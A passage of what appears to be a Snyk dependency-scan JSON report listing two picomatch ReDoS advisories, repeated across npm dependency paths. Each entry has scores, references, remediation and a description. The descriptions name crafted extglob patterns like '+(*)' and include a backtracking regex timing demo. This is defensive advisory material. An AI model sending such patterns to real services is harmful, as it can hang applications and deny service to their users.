"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't 